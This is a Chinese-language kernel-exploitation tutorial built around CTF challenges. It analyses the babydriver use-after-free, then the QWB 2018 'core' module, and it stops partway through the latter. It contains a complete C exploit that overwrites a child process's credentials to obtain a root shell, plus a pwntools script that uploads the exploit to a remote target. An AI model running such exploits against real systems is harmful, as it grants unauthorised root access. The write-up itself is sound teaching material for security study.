1 2 3 4 5 6 7 8 9 10 # !/bin/bash qemu-system-x86_64 \ -initrd rootfs.cpio \ -kernel bzImage \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \ -enable-kvm \ -monitor /dev/null -m 64M \ --nographic \ -smp cores=1,threads=1 \ -cpu kvm64,+smep
在用 qemu
启动内核时,常用的选项如下
-m
, 指定 RAM 大小,默认 384M
-kernel
,指定内核镜像文件 bzImage 路径
-initrd
,设置内核启动的内存文件系统
-smp [cpus=]n[,cores=cores][,threads=threads][,dies=dies][,sockets=sockets][,maxcpus=maxcpus]
,指定使用到的核数。
-cpu
,指定指定要模拟的处理器架构,可以同时开启一些保护,如
+smap
,开启 smap 保护
+smep
,开启 smep 保护
-nographic
,表示不需要图形界面
-monitor
,对 qemu 提供的控制台进行重定向,如果没有设置的话,可以直接进入控制台。-monitor /dev/null
后 Ctrl + c
可以直接退出 qemu 。
-append
,附加选项
nokaslr
关闭随机偏移
pti=on/off
开启/关闭 KPTI
console=ttyS0
,和 nographic
一起使用,启动的界面就变成了当前终端。
安装 qemu
后运行 boot.sh
即可启动 linux
系统。
内核镜像
bzImage
便是我们上面提到的内核镜像,可以用 file
检查内核版本。
1 2 $ file bzImage bzImage: Linux kernel x86 boot executable bzImage, version 4.4.72 (atum@ubuntu) #1 SMP Thu Jun 15 19:52:50 PDT 2017, RO-rootFS, swap_dev 0X6, Normal VGA
文件系统
启动的文件系统,可以通过 cpio
进行解压(cpio -idmv < rootfs.cpio
),不过有的题目可能会把一些其它压缩格式的文件系统后缀改成 cpio
。可以选择右击然后Extract Here
。有时右键解压的文件系统会导致内核启动不了,目前用 binwalk -e
解压的是没问题的 。
逆向分析 分析init文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # !/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f
init
是 linux 启动时的初始化文件,主要做一些环境配置。通过分析 init
文件可以获取一些重要信息,另外可以通过修改 init
文件增加调试分析的便捷性。
从 init
脚本中得知 需要分析的驱动文件的所在路径为 /lib/modules/4.4.72/babydriver.ko
,另外该驱动可能对应设备 /dev/babydev
,具体是否存在这种对应关系还需要分析 babydriver.ko
中是否有注册 babydev
设备的操作。
setsid cttyhack setuidgid 1000 sh
这条命令决定以非 root 权限启动命令行,如果想要以 root 权限启动命令行需要将 1000 改为 0 。
有的题目可能存在 poweroff -d 0 -f &
命令用来定时关机,在本地调试的时候最好注释掉。
分析 babydriver.ko
1 2 3 4 5 6 7 8 int __fastcall babyopen (inode *inode, file *filp) { _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace (kmalloc_caches[6 ], 0x24000C0 LL, 0x40 LL); babydev_struct.device_buf_len = 0x40 LL; printk ("device open\n" ); return 0 ; }
babyopen()
函数中,申请了一个 0x40
大小的堆,然后将堆地址和大小赋给 babydev_struct
这个结构体的成员。babydev_struct
是一个全局变量,未设置任何保护措施。因此,当有两个用户同时打开open("/dev/babydev",2)
该设备节点时,后一个 open
操作,将覆盖babydev_struct.device_buf
上的值,导致两个用户(不同fd)指向同一堆块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ssize_t __fastcall babyread (file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL ; result = -2LL ; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user (buffer); return v6; } return result; }
babyread()
函数逻辑简单,判断babydev_struct.device_buf_len
是否大于用户态传入的长度(rdx),如果满足条件则将babydev_struct.device_buf
指向的内容拷贝到用户态。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ssize_t __fastcall babywrite (file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL ; result = -2LL ; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user (); return v6; } return result; }
babywrite()
函数跟babyread()
函数类似,判断条件通过后,将用户态的数据拷贝给babydev_struct.device_buf
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 __fastcall babyioctl (file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4; _fentry__(filp, command); v4 = v3; if ( command == 0x10001 ) { kfree (babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0 LL); babydev_struct.device_buf_len = v4; printk ("alloc done\n" ); return 0LL ; } else { printk (&unk_2EB); return -22LL ; } }
babyioctl()
只有一个分支(command),它先将babydev_struct.device_buf
指向的堆块释放掉,然后根据用户态传入的arg
参数申请任意大小堆块,并更新babydev_struct
结构体中两个成员。
1 2 3 4 5 6 7 int __fastcall babyrelease (inode *inode, file *filp) { _fentry__(inode, filp); kfree (babydev_struct.device_buf); printk ("device release\n" ); return 0 ; }
babyrelease()
函数在close(fd)
关闭设备节点时会被调用到,这里释放了babydev_struct.device_buf
指向的堆块,但是并没有置空,存在一个UAF
漏洞,babydev_struct
是全局变量,如果我们open
设备两次,那么第二次open
的时候就会覆盖第一次open
的babydev_struct
,此时free
掉第一个,第二个指向的就是free
后的,因此这里存在一个UAF
。利用UAF
去修改新进程的CRED
结构,从而达成权限提升的效果。
编写EXP cred
结构体大小为 0xa8
,那么利用思路就很明确了: 1. 首先打开 babydev
两次,此时第二次申请的内存会覆盖第一次申请的内存地址; 2. 通过 ioctl
修改内存大小为 0xa8
,也就是 cred
的大小; 3. 关闭第一个句柄,此时会执行 babyrelease
函数,全局变量中的结构体指向的 0xa8
大小的内存会被释放,而第二个文件句柄依然存在,因此我们获得了一个悬垂指针(指向被释放的内存); 4. 这时fork
一个子进程,子进程的 cred
正好申请在我们释放的位置(子进程会申请额外创建PCB
空间); 5. 通过悬垂指针我们可以 write
新进程 cred
中的内容,从而实现新进程的权限提升。
Tips
fork() 执行流程
申请 PID
申请 PCB
结构
复制父进程的 PCB
将子进程的运行状态设置为不可执行的
将子进程中的某些属性清零,某些保留,某些修改
复制父进程的页(用到了写时拷贝技术)
子进程从fork()从下一行代码开始执行
写时拷贝技术: 父子进程在初始阶段共享所有的数据(全局、 栈区、 堆区、 代码), 内核会将所有的区域设置为只读。 当父子进程中任意一个进程试图修改其中的数据时, 内核才会将要修改的数据所在的区域(页) 拷贝一份。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <asm/ioctls.h> #include <sys/ioctl.h> #include <asm/termbits.h> #include <sys/wait.h> #include <sys/stat.h> int main () { int fd1 = open("/dev/babydev" , 2 ); int fd2 = open("/dev/babydev" , 2 ); ioctl(fd1, 0x10001 , 0xa8 ); close(fd1); int pid = fork(); if (pid < 0 ) { puts ("[*] fork error!" ); exit (0 ); } else if (pid == 0 ) { char zeros[30 ] = {0 }; write(fd2, zeros, 28 ); if (getuid() == 0 ) { puts ("[+] root now." ); system("/bin/sh" ); exit (0 ); } } else { wait(NULL ); } close(fd2); return 0 ; }
因为运行环境中没有一些依赖库,所以我们采取静态编译。
1 gcc -static -masm=intel -pthread exp.c -o exp
有些时候系统的库可能与内核交互不匹配,导致exp正确也无法完成交互,这时候可以尝试使用 musl-gcc
,或者使用docker进行编译。头文件里面的内容需要与目标匹配才能交互,如果 gcc
编译的 exp
过大可以考虑使用 musl-gcc
进行编译,不过例如 userfault_fd
的相关功能 musl
没有,并不能完全替代 gcc ,所以可以尝试使用 docker。
打包文件系统
我们本地调试一般采取打包的方式来方便调试。
pack.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # !/bin/sh cp -r rootfs rootfs_tmp # 如果 gcc 编译的 exp 过大可以考虑使用 musl-gcc 进行编译, # 不过例如 userfault_fd 的相关功能 musl 没有,并不能完全替代 gcc # musl-gcc -static -masm=intel -pthread exp.c -o exp gcc -static -masm=intel -pthread exp.c -o exp cp exp rootfs_tmp/ cd rootfs_tmp || exit find . | cpio -o -H newc >../rootfs.cpio cd .. sudo rm -rf rootfs_tmp
远程文件传输
一般采取 base64
编码进行传输。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *import base64with open ("./exp" , "rb" ) as f: exp = base64.b64encode(f.read()) context.log_level = 'info' while True : sl() rl() count = 0 for i in range (0 , len (exp), 0x200 ): sla(b"/ $ " , b"echo -n \"" + exp[i:i + 0x200 ] + b"\" >> /tmp/b64_exp" ) count += 1 info("count: " + str (count)) sla(b"/ $ " , b"cat /tmp/b64_exp | base64 -d > /tmp/exploit" ) sla(b"/ $ " , b"chmod +x /tmp/exploit" ) sla(b"/ $ " , b"/tmp/exploit " ) break context.log_level = 'debug' ia()
获取 vmlinux 由于bzImage
是压缩过的内核镜像,因此需要获取未经压缩的 vmlinux
镜像用于提供调试符号,以及查找 gadget
和关键结构偏移。我们可以通过编译内核来获取 vmlinux
,但即使题目提供了 config
文件,编译出的 vmlinux
中各结构的偏移也不一定与题目提供的 bzImage
相同。编译出的 vmlinux
只是在计算结构体中成员偏移起参考作用,gadget
等涉及在内核中偏移的还是在 vmlinux-to-elf
解压的 vmlinux
中找。
vmlinux-to-elf
1 2 3 sudo apt install python3-pip liblzo2-dev sudo pip3 install --upgrade lz4 zstandard git+https://github.com/clubby789/python-lzo@b4e39df sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf
使用方法
1 vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>
gdb调试 首先需要对 boot.sh
做如下修改:
添加 nokaslr
关闭地址随机化。
添加 -s
,因为 qemu
其实提供了调试内核的接口,我们可以在启动参数中添加 -gdb dev
来启动调试服务。最常见的操作为在一个端口监听一个 tcp
连接。 QEMU
同时提供了一个简写的方式 -s
,表示 -gdb tcp::1234
,即在 1234
端口开启一个 gdbserver
。
start.sh
1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash qemu-system-x86_64 \ -initrd rootfs.cpio \ -kernel bzImage \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 nokaslr' \ -enable-kvm \ -monitor /dev/null -m 64M \ --nographic \ -smp cores=1,threads=1 \ -cpu kvm64,+smep \ -s
为了加载 babydriver.ko
的符号信息,需要获取其代码段的地址,需要修改 init
内容获取 root
权限。
./rootfs/init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # !/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 0 sh umount /proc umount /sys poweroff -d 0 -f
重新打包并启动系统,查询代码段地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # 第一种方法 ------------------------------------------------- / # lsmod babydriver 16384 0 - Live 0xffffffffc0000000 (OE) ------------------------------------------------- # 第二种方法 / # find /sys/ | grep babydrive /sys/module/babydriver /sys/module/babydriver/srcversion /sys/module/babydriver/notes /sys/module/babydriver/notes/.note.gnu.build-id /sys/module/babydriver/taint /sys/module/babydriver/initstate /sys/module/babydriver/coresize /sys/module/babydriver/sections /sys/module/babydriver/sections/.bss /sys/module/babydriver/sections/.init.text /sys/module/babydriver/sections/.data /sys/module/babydriver/sections/.text /sys/module/babydriver/sections/__mcount_loc /sys/module/babydriver/sections/.strtab /sys/module/babydriver/sections/.symtab /sys/module/babydriver/sections/.gnu.linkonce.this_module /sys/module/babydriver/sections/.rodata.str1.1 /sys/module/babydriver/sections/.note.gnu.build-id /sys/module/babydriver/sections/.exit.text /sys/module/babydriver/refcnt /sys/module/babydriver/uevent /sys/module/babydriver/holders /sys/module/babydriver/initsize / # cat /sys/module/babydriver/sections/.text 0xffffffffc0000000
gdb.sh
1 2 3 4 5 6 7 #!/bin/sh gdb -q \ -ex "file $(find . -name vmlinux) " \ -ex "add-symbol-file $(find . -name babydriver.ko) 0xffffffffc0000000" \ -ex "target remote localhost:1234" \ -ex "b *0xffffffffc0000030" \ -ex "c"
运行 exp
后成功到断点。
内核模块开发 文件系统 后面打算做一个文件系统的专题(其实打算把Linux kernel的五大模块都写一遍),略微详细些讲解可以先看一下我blog的另一篇文章浅析Linux内核之文件与IO
在Linux系统的视角下,无论是文件、设备、管道、还是目录,进程,甚至是磁盘,套接字等等,一切都可以被抽象成文件,一切都可以使用访问文件的方式进行操作。图中所示为Linux中虚拟文件系统(VFS)、磁盘/Flash文件系统及一般的设备文件与设备驱动程序之间的关系。
应用程序和 VFS
之间的接口是系统调用,而 VFS
与文件系统以及设备文件之间的接口是 file_operations
结构体成员函数,这个结构体包含对文件进行打开、关闭、读写、控制的一系列成员函数。
file结构体 file
结构体代表一个打开的文件,系统中每个打开的文件在内核空间都有一个关联的 struct file
。它由内核在打开文件时创建,并传递给在文件上进行操作的任何函数。在文件的所有实例都关闭后,内核释放这个数据结构。在内核和驱动源代码中,struct file
的指针通常被命名为 file
或 filp
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 struct file { union { struct llist_node fu_llist ; struct rcu_head fu_rcuhead ; } f_u; struct path f_path ; struct inode *f_inode ; const struct file_operations *f_op ; spinlock_t f_lock; enum rw_hint f_write_hint ; atomic_long_t f_count; unsigned int f_flags; fmode_t f_mode; struct mutex f_pos_lock ; loff_t f_pos; struct fown_struct f_owner ; const struct cred *f_cred ; struct file_ra_state f_ra ; u64 f_version; #ifdef CONFIG_SECURITY void *f_security; #endif void *private_data; #ifdef CONFIG_EPOLL struct hlist_head *f_ep ; #endif struct address_space *f_mapping ; errseq_t f_wb_err; errseq_t f_sb_err; } __randomize_layout __attribute__((aligned(4 )));
inode结构体 VFS inode包含文件访问权限、所有者、组、大小、生成时间、访问时间、最后修改时间等信息。它是Linux管理文件系统的最基本单位,也是文件系统连接任何子目录、文件的桥梁。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 struct inode { umode_t i_mode; unsigned short i_opflags; kuid_t i_uid; kgid_t i_gid; unsigned int i_flags; ... dev_t i_rdev; loff_t i_size; struct timespec i_atime ; struct timespec i_mtime ; struct timespec i_ctime ; spinlock_t i_lock; unsigned short i_bytes; unsigned int i_blkbits; blkcnt_t i_blocks; ... union { struct pipe_inode_info *i_pipe ; struct block_device *i_bdev ; struct cdev *i_cdev ; };
查看 /proc/devices
文件可以获知系统中注册的设备,第一列为主设备号,第二列为设备名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $ cat /proc/devices Character devices: 1 mem 4 /dev/vc/0 4 tty 4 ttyS 5 /dev/tty 5 /dev/console 5 /dev/ptmx ... Block devices: 259 blkext 7 loop 8 sd 9 md 11 sr 65 sd ...
查看 /dev
目录可以获知系统中包含的设备文件,日期前的两列对应设备的主设备号和次设备号, 主设备号是与驱动对应的概念,同一类设备一般用相同的主设备号,不同类设备的主设备号一般不同。
1 2 3 4 5 6 $ ls -al /dev total 0 drwxr-xr-x 8 root root 2940 May 8 14 :17 . drwxr-xr-x 11 root root 0 May 8 14 :18 .. drwxr-xr-x 2 root root 60 May 8 14 :17 bsg crw-rw---- 1 root root 5 , 1 May 8 14 :17 console
字符驱动设备 cdev 结构体 cdev
为 linux 描述字符设备的一个结构。
1 2 3 4 5 6 7 8 struct cdev { struct kobject kobj ; struct module *owner ; struct file_operations *ops ; struct list_head list ; dev_t dev; unsigned int count; }
dev_t
定义了设备号,为 32 位,其中 12 位为主设备号,20 位为次设备号。下面的宏可以获得主设备号和次设备号:
1 2 MAJOR(dev_t dev) MINOR(dev_t dev)
Linux 内核提供了一组函数用于操作 cdev
结构体:
1 2 3 4 5 6 void cdev_init (struct cdev *, struct file_operations *) ; struct cdev *cdev_alloc (void ) ; void cdev_put (struct cdev *p) ;int cdev_add (struct cdev *, dev_t , unsigned ) ; void cdev_del (struct cdev *) ;
在调用 cdev_add()
函数向系统注册字符设备之前,应首先调用 register_chrdev_region()
或 alloc_chrdev_region()
函数向系统申请设备号:
1 2 int register_chrdev_region (dev_t from, unsigned count, const char *name) ;int alloc_chrdev_region (dev_t *dev, unsigned baseminor, unsigned count, const char *name) ;
register_chrdev_region()
函数用于已知起始设备的设备号的情况,而 alloc_chrdev_region()
用于设备号未知,向系统动态申请未被占用的设备号的情况。
file_operations 结构体 file_operations
结构体中的成员函数是字符设备驱动程序设计的主体内容,这些函数实际会在应用程序进行 Linux 的 open()
、write()
、read()
、close()
等系统调用时最终被内核调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 struct file_operations { struct module *owner ; loff_t (*llseek) (struct file *, loff_t , int ); ssize_t (*read) (struct file *, char __user *, size_t , loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t , loff_t *); ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long , loff_t ); ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long , loff_t ); int (*readdir) (struct file *, void *, filldir_t ); unsigned int (*poll) (struct file *, struct poll_table_struct *) ; long (*unlocked_ioctl) (struct file *, unsigned int , unsigned long ); long (*compat_ioctl) (struct file *, unsigned int , unsigned long ); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *, fl_owner_t id); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, loff_t , loff_t , int datasync); int (*aio_fsync) (struct kiocb *, int datasync); int (*fasync) (int , struct file *, int ); int (*lock) (struct file *, int , struct file_lock *); ssize_t (*sendpage) (struct file *, struct page *, int , size_t , loff_t *, int ); unsigned long (*get_unmapped_area) (struct file *, unsigned long , unsigned long , unsigned long , unsigned long ) ; int (*check_flags)(int ); int (*flock) (struct file *, int , struct file_lock *); ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t , unsigned int ); ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t , unsigned int ); int (*setlease)(struct file *, long , struct file_lock **); long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len); int (*show_fdinfo)(struct seq_file *m, struct file *f); };
下面对 file_operations
结构体中的主要成员简要介绍:
llseek()
函数用来修改一个文件的当前读写位置,并将新位置返回,在出错时,这个函数返回一个负值。
read()
函数用来从设备中读取数据,成功时函数返回读取的字节数,出错时返回一个负值。
write()
函数向设备发送数据,成功时该函数返回写入的字节数。如果次函数未被实现,当用户进行 write()
系统调用时,将得到 -EINVAL
返回值。
unlocked_ioctl()
提供设备相关控制命令的实现,当调用成功时,返回给调用程序一个非负值。
内核模块编写 单独建立一个文件夹来编写代码。
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 #include <linux/cdev.h> #include <linux/fs.h> #include <linux/init.h> #include <linux/module.h> #include <linux/slab.h> #include <linux/uaccess.h> MODULE_LICENSE("Dual BSD/GPL" ); #define MAX_SIZE 0x1000 #define MEM_CLEAR 0x1 static int hello_major = 230 ;static int hello_minor = 0 ;module_param(hello_major, int , S_IRUGO); module_param(hello_minor, int , S_IRUGO); struct hello_dev { struct cdev cdev ; unsigned char mem[MAX_SIZE]; } * hello_devp; static int hello_open (struct inode *id, struct file *filp) ;static int hello_releace (struct inode *id, struct file *filp) ;static long hello_ioctl (struct file *filp, unsigned int cmd, unsigned long arg) ;static ssize_t hello_read (struct file *filp, char __user *buf, size_t size, loff_t *pos) ;static ssize_t hello_write (struct file *filp, const char __user *buf, size_t size, loff_t *pos) ;static loff_t hello_llseek (struct file *filp, loff_t offset, int op) ;static const struct file_operations hello_fops = { .owner = THIS_MODULE, .llseek = hello_llseek, .read = hello_read, .write = hello_write, .unlocked_ioctl = hello_ioctl, .open = hello_open, .release = hello_releace, }; static int __init hello_init (void ) { int ret; dev_t devno = MKDEV(hello_major, hello_minor); if (hello_major) ret = register_chrdev_region(devno, 1 , "myko" ); else { ret = alloc_chrdev_region(&devno, 0 , 1 , "myko" ); hello_major = MAJOR(devno); } if (ret < 0 ) return ret; hello_devp = kzalloc(sizeof (struct hello_dev), GFP_KERNEL); if (!hello_devp) { unregister_chrdev_region(devno, 1 ); return -ENOMEM; } cdev_init(&hello_devp->cdev, &hello_fops); hello_devp->cdev.owner = THIS_MODULE; int err = (int ) cdev_add(&hello_devp->cdev, devno, 1 ); if (err) printk("[-] Error %d adding myko %d\n" , err, hello_minor); return 0 ; } module_init(hello_init); static void __exit hello_exit (void ) { cdev_del(&hello_devp->cdev); kfree(hello_devp); unregister_chrdev_region(MKDEV(hello_major, hello_minor), 1 ); } module_exit(hello_exit); static int hello_open (struct inode *id, struct file *filp) { filp->private_data = hello_devp; return 0 ; } static int hello_releace (struct inode *id, struct file *filp) { filp->private_data = NULL ; return 0 ; } static long hello_ioctl (struct file *filp, unsigned int cmd, unsigned long arg) { struct hello_dev *dev = filp->private_data; if (dev == NULL ) { printk("[-] No device\n" ); return -EINVAL; } switch (cmd) { case MEM_CLEAR: memset (dev->mem, 0 , sizeof (dev->mem)); printk("[+] Clear success\n" ); break ; default : printk("[-] Error command\n" ); return -EINVAL; } return 0 ; } static ssize_t hello_read (struct file *filp, char __user *buf, size_t size, loff_t *pos) { if (*pos >= MAX_SIZE) return 0 ; unsigned int count = (unsigned int ) size; struct hello_dev *dev = filp->private_data; if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos; if (copy_to_user(buf, dev->mem + *pos, count)) return -EFAULT; *pos += count; printk("[+] Read %u bytes(s) from %llu\n" , count, *pos); return count; } static ssize_t hello_write (struct file *filp, const char __user *buf, size_t size, loff_t *pos) { if (*pos >= MAX_SIZE) return 0 ; unsigned int count = (unsigned int ) size; struct hello_dev *dev = filp->private_data; if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos; if (copy_from_user(dev->mem + *pos, buf, count)) return -EFAULT; *pos += count; printk("[+] Written %u bytes(s) from %llu\n" , count, *pos); return count; } static loff_t hello_llseek (struct file *filp, loff_t offset, int op) { if (op != 0 && op != 1 ) return -EINVAL; if (op == 1 ) offset += filp->f_pos; if (offset < 0 || offset > MAX_SIZE) return -EINVAL; return filp->f_pos = offset; }
makefile
1 2 3 4 5 6 7 8 9 10 11 obj-m := ko_test.o KERNELDR :=/home/kl/linux-5.4.98 PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules clean: rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
make 之后,将 ko_test.ko
文件打包进 busybox 文件系统中,并创建文件夹 mkdir -p proc sys dev etc/init.d
。然后创建启动脚本并赋予其可执行权限。
1 2 3 4 5 6 7 8 9 10 11 12 #!/bin/sh echo "INIT SCRIPT" mkdir /tmpmount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs none /dev mount -t debugfs none /sys/kernel/debug mount -t tmpfs none /tmp insmod /lib/ko_test.ko echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds" setsid /bin/cttyhack setuidgid 1000 /bin/sh poweroff -f
之后在busybox 根目录运行命令 find . | cpio -o -H newc > ../rootfs.img
。将编译好的/kernel/arch/x86/boot/bzImage
复制到rootfs.img 同级目录。
启动 qemu。
1 2 3 4 5 6 7 8 9 #!/bin/sh qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel ./bzImage \ -initrd ./rootfs.img \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \ -smp cores=2,threads=1 \ -cpu kvm64
内核栈利用 QWB_2018_core 题目分析 start.sh
1 2 3 4 5 6 7 8 qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id =t0, -device e1000,netdev=t0,id =nic0 \ -nographic \
开启了 kaslr
保护。
如果自己编译的 qemu 可能会报错network backend ‘user‘ is not compiled into this binary
,解决方法就是sudo apt-get install libslirp-dev
,然后重新编译 ./configure --enable-slirp
。
init
解压 core.cpio ,分析 init 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: init ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ 2 │ mount -t proc proc /proc 3 │ mount -t sysfs sysfs /sys 4 │ mount -t devtmpfs none /dev 5 │ /sbin/mdev -s 6 │ mkdir -p /dev/pts 7 │ mount -vt devpts -o gid=4,mode=620 none /dev/pts 8 │ chmod 666 /dev/ptmx 9 │ cat /proc/kallsyms > /tmp/kallsyms 10 │ echo 1 > /proc/sys/kernel/kptr_restrict 11 │ echo 1 > /proc/sys/kernel/dmesg_restrict 12 │ ifconfig eth0 up 13 │ udhcpc -i eth0 14 │ ifconfig eth0 10.0.2.15 netmask 255.255.255.0 15 │ route add default gw 10.0.2.2 16 │ insmod /core.ko 17 │ 18 │ poweroff -d 120 -f & 19 │ setsid /bin/cttyhack setuidgid 1000 /bin/sh 20 │ echo 'sh end!\n' 21 │ umount /proc 22 │ umount /sys 23 │ 24 │ poweroff -d 0 -f ───────┴────────────────────────────
第 9 行中把 kallsyms
的内容保存到了 /tmp/kallsyms
中,那么我们就能从 /tmp/kallsyms
中读取 commit_creds
,prepare_kernel_cred
的函数的地址了
第 10 行把 kptr_restrict
设为 1,这样就不能通过 /proc/kallsyms
查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了
第 11 行把 dmesg_restrict
设为 1,这样就不能通过 dmesg
查看 kernel 的信息了
第 18 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包
里面还有一个 gen_cpio.sh 脚本,用于快速打包。
1 2 3 4 5 6 7 ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: gen_cpio.sh ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ find . -print0 \ 2 │ | cpio --null -ov --format=newc \ 3 │ | gzip -9 > $1 ───────┴─────────────────────────────────────────────────────────────────────────────────
core.ko
检查一下保护。
1 2 3 4 5 6 7 ❯ checksec core/core.ko [*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
使用 IDA 继续分析.ko文件。
init_module()
注册了 /proc/core
1 2 3 4 5 6 __int64 init_module () { core_proc = proc_create("core" , 438LL , 0LL , &core_fops); printk(&unk_2DE); return 0LL ; }
exit_core()
删除 /proc/core
。
1 2 3 4 5 6 7 8 __int64 exit_core () { __int64 result; if ( core_proc ) result = remove_proc_entry("core" ); return result; }
core_ioctl()
定义了三条命令,分别调用 core_read(), core_copy_func()
和设置全局变量 off
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall core_ioctl (__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 0x6677889B : core_read(a3); break ; case 0x6677889C : printk(&unk_2CD); off = a3; break ; case 0x6677889A : printk(&unk_2B3); core_copy_func(a3); break ; } return 0LL ; }
core_read()
从 v4[off]
拷贝 64 个字节到用户空间,但要注意的是全局变量 off
是我们能够控制的,因此可以合理的控制 off
来 leak canary
和一些地址 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void __fastcall core_read (__int64 a1) { __int64 v1; char *v2; signed __int64 i; char v4[64 ]; unsigned __int64 v5; v1 = a1; v5 = __readgsqword(0x28 u); printk("\x016core: called core_read\n" ); printk("\x016%d %p\n" ); v2 = v4; for ( i = 16LL ; i; --i ) { *(_DWORD *)v2 = 0 ; v2 += 4 ; } strcpy (v4, "Welcome to the QWB CTF challenge.\n" ); if ( copy_to_user(v1, &v4[off], 64LL ) ) __asm { swapgs } }
core_copy_func()
从全局变量 name
中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy
用的是 unsigned __int16
,但传递的长度是 signed __int64
,因此如果控制传入的长度为 0xffffffffffff0000|(0x100)
等值,就可以栈溢出了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 __fastcall core_copy_func (__int64 a1) { __int64 result; _QWORD v2[10 ]; v2[8 ] = __readgsqword(0x28 u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); return 0xFFFFFFFF LL; } else { result = 0LL ; qmemcpy(v2, &name, (unsigned __int16)a1); } return result; }
core_write()
